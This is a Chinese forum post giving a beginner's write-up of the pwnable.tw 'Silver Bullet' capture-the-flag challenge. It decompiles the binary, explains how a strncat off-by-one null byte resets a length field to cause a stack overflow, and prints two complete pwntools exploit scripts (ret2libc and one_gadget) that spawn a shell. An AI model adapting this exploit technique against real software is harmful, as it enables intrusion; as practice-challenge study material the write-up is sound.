首页
论坛
课程
招聘
[原创]pwnable.tw新手向write up(五) Silver Bullet-Off By One
2020-5-9 14:32 4837

[原创]pwnable.tw新手向write up(五) Silver Bullet-Off By One

2020-5-9 14:32
4837

往期

pwnable.tw新手向write up(一)
pwnable.tw新手向write up(二) 3×17-x64静态编译程序的fini_array劫持
pwnable.tw新手向write up(三) dubblesort-多重保护下的栈溢出
pwnable.tw新手向write up(四) hacknote-Use After Free

具体题目 Silver bullet

  • 查看一下防护,开启了Full RELRO,那么GOT表是只读.还有NX也开着.

      [0] % checksec silver_bullet
      [!] Couldn't find relocations against PLT to get symbols
      [*] '/home/dylan/ctfs/pwnable_tw/Silver_Bullet/silver_bullet'
          Arch:     i386-32-little
          RELRO:    Full RELRO
          Stack:    No canary found
          NX:       NX enabled
          PIE:      No PIE
    
  • IDA看一下.

      int __cdecl main(int argc, const char **argv, const char **envp)
      {
        int choice; // eax
        Werewolf wolf; // [esp+0h] [ebp-3Ch]
        bullet silver_bullet; // [esp+8h] [ebp-34h]
    
        init_proc();
        silver_bullet.length = 0;
        memset(&silver_bullet, 0, 0x30u);
        wolf.HP = 0x7FFFFFFF;
        wolf.name = "Gin";
        while ( 1 )
        {
          while ( 1 )
          {
            while ( 1 )
            {
              while ( 1 )
              {
                menu();
                choice = read_int();
                if ( choice != 2 )
                  break;
                power_up(&silver_bullet);
              }
              if ( choice > 2 )
                break;
              if ( choice != 1 )
                goto LABEL_16;
              create_bullet(&silver_bullet);
            }
            if ( choice == 3 )
              break;
            if ( choice == 4 )
            {
              puts("Don't give up !");
              exit(0);
            }
      LABEL_16:
            puts("Invalid choice");
          }
          if ( beat(&silver_bullet, &wolf) )
            return 0;
          puts("Give me more power !!");
        }
      }
    

    大概意思是程序要求我们用银子弹杀死狼人,分别提供了创建子弹,增强威力,和开枪这三个函数,这里我创建了一个狼人信息的结构体,如下:

      struct Werewolf
      {
        int HP;
        char *name;
      };
    

    接着进入create_bullet函数看一下:

      int __cdecl create_bullet(bullet *silver_bullet)
      {
        int length; // ST08_4
    
        if ( silver_bullet->description[0] )
          return puts("You have been created the Bullet !");
        printf("Give me your description of bullet :");
        read_input(silver_bullet, 0x30u);
        length = strlen(silver_bullet->description);
        printf("Your power is : %u\n", length);
        silver_bullet->length = length;
        return puts("Good luck !!");
      }
    

    子弹只能创建一次,而且这个函数并不存在漏洞,不过我们可以得知子弹的信息结构,如下:

      struct bullet
      {
        char description[48];
        int length;
      };
    

    接着是power_up函数:

      int __cdecl power_up(bullet *silver_bullet)
      {
        bullet fake_bullet; // [esp+0h] [ebp-34h]
    
        fake_bullet.length = 0;
        memset(&fake_bullet, 0, 0x30u);
        if ( !silver_bullet->description[0] )
          return puts("You need create the bullet first !");
        if ( silver_bullet->length > 47u )
          return puts("You can't power up any more !");
        printf("Give me your another description of bullet :");
        read_input(&fake_bullet, 0x30 - silver_bullet->length);
        strncat(silver_bullet->description, fake_bullet.description, 0x30 - silver_bullet->length);
        fake_bullet.length = strlen(fake_bullet.description) + silver_bullet->length;
        printf("Your new power is : %u\n", fake_bullet.length);
        silver_bullet->length = fake_bullet.length;
        return puts("Enjoy it !");
      }
    

    首先判断子弹中的字符串长度是否大于47,不然就直接返回.假设我们的长度并没有超过47,那么程序会读取48-length长度的字节,然后用strncat函数将两个字符拼接在一起,之后更新子弹的长度信息.

    乍一看可能很安全,因为使用了strncat而不是strcat,但是strcat在拼接完之后会在末尾加一个'\x00',根据保存子弹信息的结构体可知,我们在description输入48个字节后,会有一个\x00溢出到保存长度的length中.乍一看好像也没啥,才一个字节而已,但是不要忘记我们的计算机采用的是小端序,溢出的一个字节正好将length的值改成了0.溢出之后还会更新我们的length为0+fake_bullet->length.

      signed int __cdecl beat(bullet *silver_bullet, Werewolf *wolf)
      {
        signed int result; // eax
    
        if ( silver_bullet->description[0] )
        {
          puts(">----------- Werewolf -----------<");
          printf(" + NAME : %s\n", wolf->name);
          printf(" + HP : %d\n", wolf->HP);
          puts(">--------------------------------<");
          puts("Try to beat it .....");
          usleep(0xF4240u);
          wolf->HP -= silver_bullet->length;
          if ( wolf->HP <= 0 )
          {
            puts("Oh ! You win !!");
            result = 1;
          }
          else
          {
            puts("Sorry ... It still alive !!");
            result = 0;
          }
        }
        else
        {
          puts("You need create the bullet first !");
          result = 0;
        }
        return result;
      }
    

    beat函数首先用狼人的生命值减去子弹的长度,判断大小选择返回0或者1.main函数是用exit(0)来退出的,并不能执行return从而控制eip,所以我们在构造完栈上的数据之后要调用beat函数劫持控制流.

    • 利用方法

      1. 唯一的溢出点在power_up函数之中的strncat函数,所以我们在创建子弹的时候不能超过0x2F,为了后面构造方便一点,我们创建一个0x2F长度的子弹.接着调用power_up函数,这个时候我们只能输入一个字节的内容,接着strncat从字符串之后的\x00所在处复制我们的输入,末尾会补一个\x00,此时,子弹的长度以及被覆盖为了0.但是还会对长度进行更新,0+fake_bullet->length = 1.这样,我们如果再调用一次power_up函数,那么我们就可以在48个字节+'\x01'之后输入2F个字节了,这就造成了栈溢出.

      2. 这个时候有两种解法,一种是比较麻烦的,先覆盖返回地址为puts函数来打印puts@got的值,接着计算出libc加载的基地址以及system函数和bin/sh字符串的地址,最后再覆盖返回地址为system函数来getshell.

      3. 另一种相对简单一点,我们可以考虑one_gadget:

         [0] % one_gadget libc.so
         0x3a819 execve("/bin/sh", esp+0x34, environ)
         constraints:
           esi is the GOT address of libc
           [esp+0x34] == NULL
        
         0x5f065 execl("/bin/sh", eax)
         constraints:
           esi is the GOT address of libc
           eax == NULL
        
         0x5f066 execl("/bin/sh", [esp])
         constraints:
           esi is the GOT address of libc
           [esp] == NULL
        
    • exp-re2libc

        #!/usr/bin/env python2
        # -*- coding: utf-8 -*-
        from PwnContext.core import *
        local = False
      
        # Set up pwntools for the correct architecture
        exe = './' + 'silver_bullet'
        elf = context.binary = ELF(exe)
      
        #don't forget to change it
        host = args.HOST or 'chall.pwnable.tw'
        port = int(args.PORT or 10103)
      
        #don't forget to change it
        #ctx.binary = './' + 'silver_bullet'
        ctx.binary = exe
        libc = args.LIBC or 'libc.so'
        elf_libc = ELF(libc)
        ctx.debug_remote_libc = True
        ctx.remote_libc = libc
        ctx.custom_lib_dir = '/home/dylan/ctfs/pwnable_tw/Silver_Bullet'
        if local:
            context.log_level = 'debug'
            try:
                io = ctx.start()
            except Exception as e:
                print(e.args)
                print("It can't work,may be it can't load the remote libc!")
                print("It will load the local process")
                io = process(exe)
        else:
            io = remote(host,port)
        #===========================================================
        #                    EXPLOIT GOES HERE
        #===========================================================
      
        # Arch:     i386-32-little
        # RELRO:    Full RELRO
        # Stack:    No canary found
        # NX:       NX enabled
        # PIE:      No PIE (0x8048000)
        def create(description):
            io.recvuntil('Your choice :')
            io.sendline('1')
            io.recvuntil('Give me your description of bullet :')
            io.send(description)
      
        def power_up(description):
            io.recvuntil('Your choice :')
            io.sendline('2')
            io.recvuntil('Give me your another description of bullet :')
            io.send(description)
      
        def beat():
            io.recvuntil('Your choice :')
            io.sendline('3')
        def exp():
            create('a'*0x2f)
      
            power_up('a')
      
            payload = '\xff'*3 + p32(0xdeadbeef) + p32(elf.symbols['puts']) + p32(elf.symbols['main']) + p32(elf.got['puts'])
            power_up(payload)
            beat()
      
            io.recvuntil('Oh ! You win !!\n')
            puts_got = u32(io.recv(4))
      
            log.success('puts@got = ' + hex(puts_got))
            libc_base = puts_got - elf_libc.symbols['puts']
            log.success('libc_base = ' + hex(libc_base))
            system_addr = libc_base + elf_libc.symbols['system']
            log.success('system_addr = ' + hex(system_addr))
            bin_sh_addr = libc_base + elf_libc.search('/bin/sh').next()
            log.success('bin_sh_addr = ' + hex(bin_sh_addr))
      
            create('a'*0x2f)
      
            power_up('a')
      
        #    payload = '\xff'*3 + p32(0xdeadbeef) + p32(libc_base+0x5f065)
            payload = '\xff'*3 + p32(0xdeadbeef) + p32(libc_base+0x0003A940) + 'a'*4 + p32(libc_base+0x00158e8b)
            power_up(payload)
            beat()
      
        if __name__ == '__main__':
            exp()
            io.interactive()
      
    • exp-one_gadget

        #!/usr/bin/env python2
        # -*- coding: utf-8 -*-
        from PwnContext.core import *
        local = False
      
        # Set up pwntools for the correct architecture
        exe = './' + 'silver_bullet'
        elf = context.binary = ELF(exe)
      
        #don't forget to change it
        host = args.HOST or 'chall.pwnable.tw'
        port = int(args.PORT or 10103)
      
        #don't forget to change it
        #ctx.binary = './' + 'silver_bullet'
        ctx.binary = exe
        libc = args.LIBC or 'libc.so'
        elf_libc = ELF(libc)
        ctx.debug_remote_libc = True
        ctx.remote_libc = libc
        ctx.custom_lib_dir = '/home/dylan/ctfs/pwnable_tw/Silver_Bullet'
        if local:
            context.log_level = 'debug'
            try:
                io = ctx.start()
            except Exception as e:
                print(e.args)
                print("It can't work,may be it can't load the remote libc!")
                print("It will load the local process")
                io = process(exe)
        else:
            io = remote(host,port)
        #===========================================================
        #                    EXPLOIT GOES HERE
        #===========================================================
      
        # Arch:     i386-32-little
        # RELRO:    Full RELRO
        # Stack:    No canary found
        # NX:       NX enabled
        # PIE:      No PIE (0x8048000)
        def create(description):
            io.recvuntil('Your choice :')
            io.sendline('1')
            io.recvuntil('Give me your description of bullet :')
            io.send(description)
      
        def power_up(description):
            io.recvuntil('Your choice :')
            io.sendline('2')
            io.recvuntil('Give me your another description of bullet :')
            io.send(description)
      
        def beat():
            io.recvuntil('Your choice :')
            io.sendline('3')
        def exp():
            create('a'*0x2f)
      
            power_up('a')
      
            payload = '\xff'*3 + p32(0xdeadbeef) + p32(elf.symbols['puts']) + p32(elf.symbols['main']) + p32(elf.got['puts'])
            power_up(payload)
            beat()
      
            io.recvuntil('Oh ! You win !!\n')
            puts_got = u32(io.recv(4))
      
            log.success('puts@got = ' + hex(puts_got))
            libc_base = puts_got - elf_libc.symbols['puts']
            log.success('libc_base = ' + hex(libc_base))
            system_addr = libc_base + elf_libc.symbols['system']
            log.success('system_addr = ' + hex(system_addr))
            bin_sh_addr = libc_base + elf_libc.search('/bin/sh').next()
            log.success('bin_sh_addr = ' + hex(bin_sh_addr))
      
            create('a'*0x2f)
      
            power_up('a')
      
            payload = '\xff'*3 + p32(0xdeadbeef) + p32(libc_base+0x5f066)
            #payload = '\xff'*3 + p32(0xdeadbeef) + p32(libc_base+0x0003A940) + 'a'*4 + p32(libc_base+0x00158e8b)
            power_up(payload)
            beat()
      
        if __name__ == '__main__':
            exp()
            io.interactive()
      
  • 关于我

博客有我的联系方式,欢迎大家来玩,地址:https://www.0x2l.cn


[公告]《安卓APP加固攻与防》训练营!Android逆向分析技能,干货满满,报名免费赠送一部手机!

最后于 2020-8-12 20:23 被0x2l编辑 ,原因: 修改
上传的附件:
收藏
点赞1
打赏
分享
最新回复 (2)
雪    币: 256
活跃值: 活跃值 (161)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ZwCopyAll 活跃值 2020-5-10 21:15
2
0
已阅
雪    币: 1607
活跃值: 活跃值 (351)
能力值: ( LV7,RANK:103 )
在线值:
发帖
回帖
粉丝
山竹笠 活跃值 1 2020-6-25 17:06
3
0
make
游客
登录 | 注册 方可回帖
返回